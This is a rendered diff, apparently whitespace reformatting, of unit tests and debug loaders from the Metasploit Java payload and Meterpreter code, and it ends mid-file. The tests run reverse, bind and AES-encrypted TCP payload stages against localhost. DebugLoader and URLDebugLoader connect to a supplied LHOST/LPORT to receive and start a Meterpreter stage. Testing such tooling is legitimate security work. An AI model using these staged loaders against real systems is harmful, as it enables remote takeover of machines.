final String CONTENT_TYPE = "application/x-unit-test-example";
|
final String CONTENT_TYPE = "application/x-unit-test-example";
|
||||||
byte[] randomData = new byte[4096];
|
byte[] randomData = new byte[4096];
|
||||||
new Random().nextBytes(randomData);
|
new Random().nextBytes(randomData);
|
||||||
URL url = MemoryBufferURLConnection.createURL(randomData, CONTENT_TYPE);
|
URL url = MemoryBufferURLConnection.createURL(randomData, CONTENT_TYPE);
|
||||||
URLConnection uc = url.openConnection();
|
URLConnection uc = url.openConnection();
|
||||||
uc.connect();
|
uc.connect();
|
||||||
Assert.assertEquals(CONTENT_TYPE, uc.getContentType());
|
Assert.assertEquals(CONTENT_TYPE, uc.getContentType());
|
||||||
Assert.assertEquals(4096, uc.getContentLength());
|
Assert.assertEquals(4096, uc.getContentLength());
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
StreamForwarder.forward(uc.getInputStream(), out);
|
StreamForwarder.forward(uc.getInputStream(), out);
|
||||||
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(out.toByteArray(), "ISO-8859-1"));
|
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(out.toByteArray(), "ISO-8859-1"));
|
||||||
}
|
}
|
||||||
|
|
||||||
public void testMeterpreterStage() throws Exception {
|
public void testMeterpreterStage() throws Exception {
|
||||||
// build dummy Meterpreter stage
|
// build dummy Meterpreter stage
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
DataOutputStream dos = new DataOutputStream(baos);
|
DataOutputStream dos = new DataOutputStream(baos);
|
||||||
StreamForwarder.forward(MeterpDummy.class.getResourceAsStream(MeterpDummy.class.getSimpleName()+".class"), baos);
|
StreamForwarder.forward(MeterpDummy.class.getResourceAsStream(MeterpDummy.class.getSimpleName() + ".class"), baos);
|
||||||
String meterpDummy = new String(baos.toByteArray(), "ISO-8859-1").replace("MeterpDummy", "Meterpreter");
|
String meterpDummy = new String(baos.toByteArray(), "ISO-8859-1").replace("MeterpDummy", "Meterpreter");
|
||||||
baos.reset();
|
baos.reset();
|
||||||
JarOutputStream jos = new JarOutputStream(baos);
|
JarOutputStream jos = new JarOutputStream(baos);
|
||||||
jos.putNextEntry(new ZipEntry("com/metasploit/meterpreter/Meterpreter.class"));
|
jos.putNextEntry(new ZipEntry("com/metasploit/meterpreter/Meterpreter.class"));
|
||||||
jos.write(meterpDummy.getBytes("ISO-8859-1"));
|
jos.write(meterpDummy.getBytes("ISO-8859-1"));
|
||||||
jos.close();
|
jos.close();
|
||||||
byte[] dummyJar = baos.toByteArray();
|
byte[] dummyJar = baos.toByteArray();
|
||||||
|
|
||||||
// build payload
|
// build payload
|
||||||
baos.reset();
|
baos.reset();
|
||||||
dos.writeInt(dummyJar.length);
|
dos.writeInt(dummyJar.length);
|
||||||
dos.write(dummyJar);
|
dos.write(dummyJar);
|
||||||
byte[] randomData = new byte[4096];
|
byte[] randomData = new byte[4096];
|
||||||
new Random().nextBytes(randomData);
|
new Random().nextBytes(randomData);
|
||||||
dos.writeInt(randomData.length);
|
dos.writeInt(randomData.length);
|
||||||
dos.write(randomData);
|
dos.write(randomData);
|
||||||
byte[] payload = baos.toByteArray();
|
byte[] payload = baos.toByteArray();
|
||||||
|
|
||||||
// test payload with output redirection enabled
|
// test payload with output redirection enabled
|
||||||
baos.reset();
|
baos.reset();
|
||||||
new Meterpreter().start(new DataInputStream(new ByteArrayInputStream(payload)), baos, new String[] {"Payload", "--", "Meterpreter"});
|
new Meterpreter().start(new DataInputStream(new ByteArrayInputStream(payload)), baos, new String[]{"Payload", "--", "Meterpreter"});
|
||||||
DataInputStream in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));
|
DataInputStream in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));
|
||||||
byte[] roundtripData = new byte[4096];
|
byte[] roundtripData = new byte[4096];
|
||||||
in.readFully(roundtripData);
|
in.readFully(roundtripData);
|
||||||
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(roundtripData, "ISO-8859-1"));
|
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(roundtripData, "ISO-8859-1"));
|
||||||
Assert.assertEquals(true, in.readBoolean());
|
Assert.assertEquals(true, in.readBoolean());
|
||||||
Assert.assertEquals(true, in.readBoolean());
|
Assert.assertEquals(true, in.readBoolean());
|
||||||
Assert.assertEquals(-1, in.read());
|
Assert.assertEquals(-1, in.read());
|
||||||
|
|
||||||
// test payload with output redirection disabled
|
// test payload with output redirection disabled
|
||||||
baos.reset();
|
baos.reset();
|
||||||
new Meterpreter().start(new DataInputStream(new ByteArrayInputStream(payload)), baos, new String[] {"Payload", "--", "Meterpreter", "NoRedirect"});
|
new Meterpreter().start(new DataInputStream(new ByteArrayInputStream(payload)), baos, new String[]{"Payload", "--", "Meterpreter", "NoRedirect"});
|
||||||
in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));
|
in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));
|
||||||
roundtripData = new byte[4096];
|
roundtripData = new byte[4096];
|
||||||
in.readFully(roundtripData);
|
in.readFully(roundtripData);
|
||||||
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(roundtripData, "ISO-8859-1"));
|
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(roundtripData, "ISO-8859-1"));
|
||||||
Assert.assertEquals(true, in.readBoolean());
|
Assert.assertEquals(true, in.readBoolean());
|
||||||
Assert.assertEquals(false, in.readBoolean());
|
Assert.assertEquals(false, in.readBoolean());
|
||||||
Assert.assertEquals(-1, in.read());
|
Assert.assertEquals(-1, in.read());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -9,19 +9,19 @@ import junit.framework.TestCase;
|
|||||||
|
|
||||||
public class ShellTest extends TestCase {
|
public class ShellTest extends TestCase {
|
||||||
|
|
||||||
public void testShellStage() throws Exception {
|
public void testShellStage() throws Exception {
|
||||||
Shell shell = new Shell();
|
Shell shell = new Shell();
|
||||||
String commands = "echo MagicToken\r\nexit\r\n";
|
String commands = "echo MagicToken\r\nexit\r\n";
|
||||||
DataInputStream in = new DataInputStream(new ByteArrayInputStream(commands.getBytes("ISO-8859-1")));
|
DataInputStream in = new DataInputStream(new ByteArrayInputStream(commands.getBytes("ISO-8859-1")));
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
shell.start(in, out, new String[] {"Payload", "--", "Shell"});
|
shell.start(in, out, new String[]{"Payload", "--", "Shell"});
|
||||||
int timeout = 5000;
|
int timeout = 5000;
|
||||||
while (out.size() == 0 && timeout > 0) {
|
while (out.size() == 0 && timeout > 0) {
|
||||||
Thread.sleep(100);
|
Thread.sleep(100);
|
||||||
timeout -= 100;
|
timeout -= 100;
|
||||||
}
|
}
|
||||||
String shellOutput = new String(out.toByteArray(), "ISO-8859-1");
|
String shellOutput = new String(out.toByteArray(), "ISO-8859-1");
|
||||||
Assert.assertTrue("MagicToken missing in shell output: "+shellOutput, shellOutput.contains("MagicToken"));
|
Assert.assertTrue("MagicToken missing in shell output: " + shellOutput, shellOutput.contains("MagicToken"));
|
||||||
Assert.assertEquals(-1, in.read());
|
Assert.assertEquals(-1, in.read());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -43,219 +43,222 @@ import com.metasploit.meterpreter.MemoryBufferURLConnection;
|
|||||||
|
|
||||||
public class PayloadTest extends TestCase {
|
public class PayloadTest extends TestCase {
|
||||||
|
|
||||||
public void testReverseTCP() throws Exception {
|
public void testReverseTCP() throws Exception {
|
||||||
ServerSocket ss = new ServerSocket(0);
|
ServerSocket ss = new ServerSocket(0);
|
||||||
final Properties metasploitDat = new Properties();
|
final Properties metasploitDat = new Properties();
|
||||||
metasploitDat.setProperty("LHOST", ""+InetAddress.getLocalHost().getHostAddress());
|
metasploitDat.setProperty("LHOST", "" + InetAddress.getLocalHost().getHostAddress());
|
||||||
metasploitDat.setProperty("LPORT", ""+ss.getLocalPort());
|
metasploitDat.setProperty("LPORT", "" + ss.getLocalPort());
|
||||||
ExecutorService tempThread = Executors.newFixedThreadPool(1);
|
ExecutorService tempThread = Executors.newFixedThreadPool(1);
|
||||||
Future handle = tempThread.submit(new Callable() {
|
Future handle = tempThread.submit(new Callable() {
|
||||||
public Object call() throws Exception {
|
public Object call() throws Exception {
|
||||||
return runPayload(metasploitDat, null);
|
return runPayload(metasploitDat, null);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
ss.setSoTimeout(1000);
|
ss.setSoTimeout(1000);
|
||||||
try {
|
try {
|
||||||
Socket s = ss.accept();
|
Socket s = ss.accept();
|
||||||
handleSocketCommunication(s);
|
handleSocketCommunication(s);
|
||||||
} catch (SocketTimeoutException ex) {
|
} catch (SocketTimeoutException ex) {
|
||||||
handle.get();
|
handle.get();
|
||||||
throw ex;
|
throw ex;
|
||||||
}
|
}
|
||||||
ss.close();
|
ss.close();
|
||||||
Assert.assertNull(handle.get());
|
Assert.assertNull(handle.get());
|
||||||
tempThread.shutdown();
|
tempThread.shutdown();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void testAESReverseTCP() throws Exception {
|
public void testAESReverseTCP() throws Exception {
|
||||||
final String KEY = "ThisIsMyUnitTest";
|
final String KEY = "ThisIsMyUnitTest";
|
||||||
ServerSocket ss = new ServerSocket(0);
|
ServerSocket ss = new ServerSocket(0);
|
||||||
final Properties metasploitDat = new Properties();
|
final Properties metasploitDat = new Properties();
|
||||||
metasploitDat.setProperty("LHOST", ""+InetAddress.getLocalHost().getHostAddress());
|
metasploitDat.setProperty("LHOST", "" + InetAddress.getLocalHost().getHostAddress());
|
||||||
metasploitDat.setProperty("LPORT", ""+ss.getLocalPort());
|
metasploitDat.setProperty("LPORT", "" + ss.getLocalPort());
|
||||||
metasploitDat.setProperty("AESPassword", KEY);
|
metasploitDat.setProperty("AESPassword", KEY);
|
||||||
ExecutorService tempThread = Executors.newFixedThreadPool(1);
|
ExecutorService tempThread = Executors.newFixedThreadPool(1);
|
||||||
Future handle = tempThread.submit(new Callable() {
|
Future handle = tempThread.submit(new Callable() {
|
||||||
public Object call() throws Exception {
|
public Object call() throws Exception {
|
||||||
return runPayload(metasploitDat, AESEncryption.class);
|
return runPayload(metasploitDat, AESEncryption.class);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
ss.setSoTimeout(5000);
|
ss.setSoTimeout(5000);
|
||||||
try {
|
try {
|
||||||
Socket s = ss.accept();
|
Socket s = ss.accept();
|
||||||
DataOutputStream out = new DataOutputStream(s.getOutputStream());
|
DataOutputStream out = new DataOutputStream(s.getOutputStream());
|
||||||
DataInputStream in = new DataInputStream(s.getInputStream());
|
DataInputStream in = new DataInputStream(s.getInputStream());
|
||||||
out.writeInt(0);
|
out.writeInt(0);
|
||||||
SecureRandom sr = new SecureRandom();
|
SecureRandom sr = new SecureRandom();
|
||||||
byte[] outIV = new byte[16];
|
byte[] outIV = new byte[16];
|
||||||
sr.nextBytes(outIV);
|
sr.nextBytes(outIV);
|
||||||
out.write(outIV);
|
out.write(outIV);
|
||||||
out.flush();
|
out.flush();
|
||||||
byte[] inIV = new byte[16];
|
byte[] inIV = new byte[16];
|
||||||
in.readFully(inIV);
|
in.readFully(inIV);
|
||||||
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(KEY.getBytes());
|
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(KEY.getBytes());
|
||||||
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
|
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
|
||||||
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
|
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
|
||||||
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
|
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
|
||||||
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
|
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
|
||||||
handleSocketCommunication(new CipherOutputStream(out, co), new CipherInputStream(in, ci));
|
handleSocketCommunication(new CipherOutputStream(out, co), new CipherInputStream(in, ci));
|
||||||
s.close();
|
s.close();
|
||||||
} catch (SocketTimeoutException ex) {
|
} catch (SocketTimeoutException ex) {
|
||||||
handle.get();
|
handle.get();
|
||||||
throw ex;
|
throw ex;
|
||||||
}
|
}
|
||||||
ss.close();
|
ss.close();
|
||||||
Assert.assertNull(handle.get());
|
Assert.assertNull(handle.get());
|
||||||
tempThread.shutdown();
|
tempThread.shutdown();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void testBindTCP() throws Exception {
|
public void testBindTCP() throws Exception {
|
||||||
ServerSocket ss = new ServerSocket(0);
|
ServerSocket ss = new ServerSocket(0);
|
||||||
int port = ss.getLocalPort();
|
int port = ss.getLocalPort();
|
||||||
ss.close();
|
ss.close();
|
||||||
final Properties metasploitDat = new Properties();
|
final Properties metasploitDat = new Properties();
|
||||||
metasploitDat.setProperty("LPORT", ""+port);
|
metasploitDat.setProperty("LPORT", "" + port);
|
||||||
ExecutorService tempThread = Executors.newFixedThreadPool(1);
|
ExecutorService tempThread = Executors.newFixedThreadPool(1);
|
||||||
Future handle = tempThread.submit(new Callable() {
|
Future handle = tempThread.submit(new Callable() {
|
||||||
public Object call() throws Exception {
|
public Object call() throws Exception {
|
||||||
return runPayload(metasploitDat, null);
|
return runPayload(metasploitDat, null);
|
||||||
}});
|
}
|
||||||
Socket s;
|
});
|
||||||
for(int retry = 0;; retry++) {
|
Socket s;
|
||||||
try {
|
for (int retry = 0; ; retry++) {
|
||||||
s = new Socket(InetAddress.getLocalHost(), port);
|
try {
|
||||||
break;
|
s = new Socket(InetAddress.getLocalHost(), port);
|
||||||
} catch (ConnectException ex) {
|
break;
|
||||||
if (retry == 10)
|
} catch (ConnectException ex) {
|
||||||
throw ex;
|
if (retry == 10)
|
||||||
Thread.sleep(500);
|
throw ex;
|
||||||
}
|
Thread.sleep(500);
|
||||||
}
|
}
|
||||||
handleSocketCommunication(s);
|
}
|
||||||
ss.close();
|
handleSocketCommunication(s);
|
||||||
Assert.assertNull(handle.get());
|
ss.close();
|
||||||
tempThread.shutdown();
|
Assert.assertNull(handle.get());
|
||||||
}
|
tempThread.shutdown();
|
||||||
|
}
|
||||||
|
|
||||||
public void testSpawnReverseTCP() throws Exception {
|
public void testSpawnReverseTCP() throws Exception {
|
||||||
ServerSocket ss = new ServerSocket(0);
|
ServerSocket ss = new ServerSocket(0);
|
||||||
final Properties metasploitDat = new Properties();
|
final Properties metasploitDat = new Properties();
|
||||||
metasploitDat.setProperty("LHOST", ""+InetAddress.getLocalHost().getHostAddress());
|
metasploitDat.setProperty("LHOST", "" + InetAddress.getLocalHost().getHostAddress());
|
||||||
metasploitDat.setProperty("LPORT", ""+ss.getLocalPort());
|
metasploitDat.setProperty("LPORT", "" + ss.getLocalPort());
|
||||||
metasploitDat.setProperty("Spawn", "2");
|
metasploitDat.setProperty("Spawn", "2");
|
||||||
Assert.assertNull(runPayload(metasploitDat, null));
|
Assert.assertNull(runPayload(metasploitDat, null));
|
||||||
ss.setSoTimeout(10000);
|
ss.setSoTimeout(10000);
|
||||||
Socket s = ss.accept();
|
Socket s = ss.accept();
|
||||||
handleSocketCommunication(s);
|
handleSocketCommunication(s);
|
||||||
ss.close();
|
ss.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object runPayload(final Properties metasploitDat, Class extraClass) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, ClassNotFoundException, Exception {
|
private Object runPayload(final Properties metasploitDat, Class extraClass) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, ClassNotFoundException, Exception {
|
||||||
return setUpClassLoader(metasploitDat, extraClass).loadClass("metasploit.Payload").getMethod("main", new Class[] {String[].class}).invoke(null, new Object[] {new String[0]});
|
return setUpClassLoader(metasploitDat, extraClass).loadClass("metasploit.Payload").getMethod("main", new Class[]{String[].class}).invoke(null, new Object[]{new String[0]});
|
||||||
}
|
}
|
||||||
|
|
||||||
private URLClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception {
|
private URLClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception {
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
StreamForwarder.forward(Payload.class.getResourceAsStream(Payload.class.getSimpleName()+".class"), baos);
|
StreamForwarder.forward(Payload.class.getResourceAsStream(Payload.class.getSimpleName() + ".class"), baos);
|
||||||
byte[] payloadClass = baos.toByteArray(), instrumentedPayloadClass = null;
|
byte[] payloadClass = baos.toByteArray(), instrumentedPayloadClass = null;
|
||||||
baos.reset();
|
baos.reset();
|
||||||
// load the uninstrumented class as resource when running unter Cobertura so that Spawn will work
|
// load the uninstrumented class as resource when running unter Cobertura so that Spawn will work
|
||||||
try {
|
try {
|
||||||
ClassLoader loader = Class.forName("net.sourceforge.cobertura.coveragedata.CoverageDataFileHandler").getClassLoader();
|
ClassLoader loader = Class.forName("net.sourceforge.cobertura.coveragedata.CoverageDataFileHandler").getClassLoader();
|
||||||
if (loader instanceof URLClassLoader && ((URLClassLoader) loader).getURLs().length == 1) {
|
if (loader instanceof URLClassLoader && ((URLClassLoader) loader).getURLs().length == 1) {
|
||||||
File jarFile = new File(((URLClassLoader)loader).getURLs()[0].toURI());
|
File jarFile = new File(((URLClassLoader) loader).getURLs()[0].toURI());
|
||||||
if (jarFile.getName().startsWith("surefirebooter")) {
|
if (jarFile.getName().startsWith("surefirebooter")) {
|
||||||
File origFile = new File(jarFile.getParentFile().getParentFile(), "classes/metasploit/Payload.class");
|
File origFile = new File(jarFile.getParentFile().getParentFile(), "classes/metasploit/Payload.class");
|
||||||
StreamForwarder.forward(new FileInputStream(origFile), baos);
|
StreamForwarder.forward(new FileInputStream(origFile), baos);
|
||||||
instrumentedPayloadClass = payloadClass;
|
instrumentedPayloadClass = payloadClass;
|
||||||
payloadClass = baos.toByteArray();
|
payloadClass = baos.toByteArray();
|
||||||
baos.reset();
|
baos.reset();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (ClassNotFoundException ex) {}
|
} catch (ClassNotFoundException ex) {
|
||||||
byte[] extraClassBytes = null;
|
}
|
||||||
if (extraClass != null) {
|
byte[] extraClassBytes = null;
|
||||||
StreamForwarder.forward(extraClass.getResourceAsStream(extraClass.getSimpleName()+".class"), baos);
|
if (extraClass != null) {
|
||||||
extraClassBytes = baos.toByteArray();
|
StreamForwarder.forward(extraClass.getResourceAsStream(extraClass.getSimpleName() + ".class"), baos);
|
||||||
baos.reset();
|
extraClassBytes = baos.toByteArray();
|
||||||
}
|
baos.reset();
|
||||||
JarOutputStream jos = new JarOutputStream(baos);
|
}
|
||||||
jos.putNextEntry(new ZipEntry("metasploit.dat"));
|
JarOutputStream jos = new JarOutputStream(baos);
|
||||||
metasploitDat.store(jos, null);
|
jos.putNextEntry(new ZipEntry("metasploit.dat"));
|
||||||
jos.putNextEntry(new ZipEntry("metasploit/Payload.class"));
|
metasploitDat.store(jos, null);
|
||||||
jos.write(payloadClass);
|
jos.putNextEntry(new ZipEntry("metasploit/Payload.class"));
|
||||||
if (extraClass != null) {
|
jos.write(payloadClass);
|
||||||
jos.putNextEntry(new ZipEntry(extraClass.getName().replace('.','/')+".class"));
|
if (extraClass != null) {
|
||||||
jos.write(extraClassBytes);
|
jos.putNextEntry(new ZipEntry(extraClass.getName().replace('.', '/') + ".class"));
|
||||||
}
|
jos.write(extraClassBytes);
|
||||||
jos.close();
|
}
|
||||||
byte[] payloadJar = baos.toByteArray();
|
jos.close();
|
||||||
final byte[] classToDefine = instrumentedPayloadClass;
|
byte[] payloadJar = baos.toByteArray();
|
||||||
return new URLClassLoader(new URL[] {MemoryBufferURLConnection.createURL(payloadJar, "application/jar")}) {
|
final byte[] classToDefine = instrumentedPayloadClass;
|
||||||
{
|
return new URLClassLoader(new URL[]{MemoryBufferURLConnection.createURL(payloadJar, "application/jar")}) {
|
||||||
if (classToDefine != null) {
|
{
|
||||||
defineClass(null, classToDefine, 0, classToDefine.length);
|
if (classToDefine != null) {
|
||||||
}
|
defineClass(null, classToDefine, 0, classToDefine.length);
|
||||||
}
|
}
|
||||||
protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException {
|
}
|
||||||
// do not load classes from metasploit package from parent class loader!
|
|
||||||
if (name.startsWith("metasploit.")) {
|
|
||||||
Class clazz = findLoadedClass(name);
|
|
||||||
if (clazz == null) {
|
|
||||||
clazz = findClass(name);
|
|
||||||
if (resolve) {
|
|
||||||
resolveClass(clazz);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return clazz;
|
|
||||||
} else {
|
|
||||||
return super.loadClass(name, resolve);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public URL getResource(String name) {
|
|
||||||
URL result = findResource(name);
|
|
||||||
if (result != null)
|
|
||||||
return result;
|
|
||||||
return super.getResource(name);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
private void handleSocketCommunication(Socket socket) throws Exception {
|
protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException {
|
||||||
handleSocketCommunication(socket.getOutputStream(), socket.getInputStream());
|
// do not load classes from metasploit package from parent class loader!
|
||||||
socket.close();
|
if (name.startsWith("metasploit.")) {
|
||||||
}
|
Class clazz = findLoadedClass(name);
|
||||||
|
if (clazz == null) {
|
||||||
|
clazz = findClass(name);
|
||||||
|
if (resolve) {
|
||||||
|
resolveClass(clazz);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return clazz;
|
||||||
|
} else {
|
||||||
|
return super.loadClass(name, resolve);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private void handleSocketCommunication(OutputStream out, InputStream in) throws Exception {
|
public URL getResource(String name) {
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
URL result = findResource(name);
|
||||||
StreamForwarder.forward(Stage.class.getResourceAsStream(Stage.class.getSimpleName()+".class"), baos, false);
|
if (result != null)
|
||||||
byte[] stageClass = baos.toByteArray();
|
return result;
|
||||||
baos.reset();
|
return super.getResource(name);
|
||||||
StreamForwarder.forward(DummyStage.class.getResourceAsStream(DummyStage.class.getSimpleName()+".class"), baos);
|
}
|
||||||
byte[] dummyStageClass = baos.toByteArray();
|
};
|
||||||
baos.close();
|
}
|
||||||
DataOutputStream dos = new DataOutputStream(out);
|
|
||||||
dos.writeInt(stageClass.length);
|
private void handleSocketCommunication(Socket socket) throws Exception {
|
||||||
dos.write(stageClass);
|
handleSocketCommunication(socket.getOutputStream(), socket.getInputStream());
|
||||||
dos.writeInt(dummyStageClass.length);
|
socket.close();
|
||||||
dos.write(dummyStageClass);
|
}
|
||||||
dos.writeInt(0);
|
|
||||||
byte[] randomData = new byte[4096];
|
private void handleSocketCommunication(OutputStream out, InputStream in) throws Exception {
|
||||||
new Random().nextBytes(randomData);
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
dos.writeInt(randomData.length);
|
StreamForwarder.forward(Stage.class.getResourceAsStream(Stage.class.getSimpleName() + ".class"), baos, false);
|
||||||
dos.write(randomData);
|
byte[] stageClass = baos.toByteArray();
|
||||||
dos.flush();
|
baos.reset();
|
||||||
DataInputStream dis = new DataInputStream(in);
|
StreamForwarder.forward(DummyStage.class.getResourceAsStream(DummyStage.class.getSimpleName() + ".class"), baos);
|
||||||
byte[] roundtripData = new byte[4096];
|
byte[] dummyStageClass = baos.toByteArray();
|
||||||
dis.readFully(roundtripData);
|
baos.close();
|
||||||
String[] params = new String[dis.readInt()];
|
DataOutputStream dos = new DataOutputStream(out);
|
||||||
for (int i = 0; i < params.length; i++) {
|
dos.writeInt(stageClass.length);
|
||||||
params[i] = dis.readUTF();
|
dos.write(stageClass);
|
||||||
}
|
dos.writeInt(dummyStageClass.length);
|
||||||
Assert.assertEquals(-1, dis.read());
|
dos.write(dummyStageClass);
|
||||||
Assert.assertEquals(2, params.length);
|
dos.writeInt(0);
|
||||||
Assert.assertEquals("Payload", params[0]);
|
byte[] randomData = new byte[4096];
|
||||||
Assert.assertEquals("--", params[1]);
|
new Random().nextBytes(randomData);
|
||||||
}
|
dos.writeInt(randomData.length);
|
||||||
|
dos.write(randomData);
|
||||||
|
dos.flush();
|
||||||
|
DataInputStream dis = new DataInputStream(in);
|
||||||
|
byte[] roundtripData = new byte[4096];
|
||||||
|
dis.readFully(roundtripData);
|
||||||
|
String[] params = new String[dis.readInt()];
|
||||||
|
for (int i = 0; i < params.length; i++) {
|
||||||
|
params[i] = dis.readUTF();
|
||||||
|
}
|
||||||
|
Assert.assertEquals(-1, dis.read());
|
||||||
|
Assert.assertEquals(2, params.length);
|
||||||
|
Assert.assertEquals("Payload", params[0]);
|
||||||
|
Assert.assertEquals("--", params[1]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -7,29 +7,29 @@ import java.net.Socket;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
|
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class DebugLoader {
|
public class DebugLoader {
|
||||||
/**
|
/**
|
||||||
* Main entry point.
|
* Main entry point.
|
||||||
*/
|
*/
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
if (args.length < 2) {
|
if (args.length < 2) {
|
||||||
System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader <LHOST> <LPORT> [<RedirectError>]");
|
System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader <LHOST> <LPORT> [<RedirectError>]");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
Socket msgsock = new Socket(args[0], Integer.parseInt(args[1]));
|
Socket msgsock = new Socket(args[0], Integer.parseInt(args[1]));
|
||||||
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
||||||
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
||||||
int coreLen = in.readInt();
|
int coreLen = in.readInt();
|
||||||
while (coreLen != 0) {
|
while (coreLen != 0) {
|
||||||
in.readFully(new byte[coreLen]);
|
in.readFully(new byte[coreLen]);
|
||||||
coreLen = in.readInt();
|
coreLen = in.readInt();
|
||||||
}
|
}
|
||||||
coreLen = in.readInt();
|
coreLen = in.readInt();
|
||||||
in.readFully(new byte[coreLen]);
|
in.readFully(new byte[coreLen]);
|
||||||
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
|
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
|
||||||
msgsock.close();
|
msgsock.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -8,28 +8,28 @@ import java.net.URL;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
|
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class URLDebugLoader {
|
public class URLDebugLoader {
|
||||||
/**
|
/**
|
||||||
* Main entry point.
|
* Main entry point.
|
||||||
*/
|
*/
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
if (args.length < 2) {
|
if (args.length < 2) {
|
||||||
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
|
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
|
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
|
||||||
DataInputStream in = new DataInputStream(initURL.openStream());
|
DataInputStream in = new DataInputStream(initURL.openStream());
|
||||||
OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
|
OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
|
||||||
int coreLen = in.readInt();
|
int coreLen = in.readInt();
|
||||||
while (coreLen != 0) {
|
while (coreLen != 0) {
|
||||||
in.readFully(new byte[coreLen]);
|
in.readFully(new byte[coreLen]);
|
||||||
coreLen = in.readInt();
|
coreLen = in.readInt();
|
||||||
}
|
}
|
||||||
coreLen = in.readInt();
|
coreLen = in.readInt();
|
||||||
in.readFully(new byte[coreLen]);
|
in.readFully(new byte[coreLen]);
|
||||||
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
|
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -6,185 +6,178 @@ import java.io.OutputStream;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
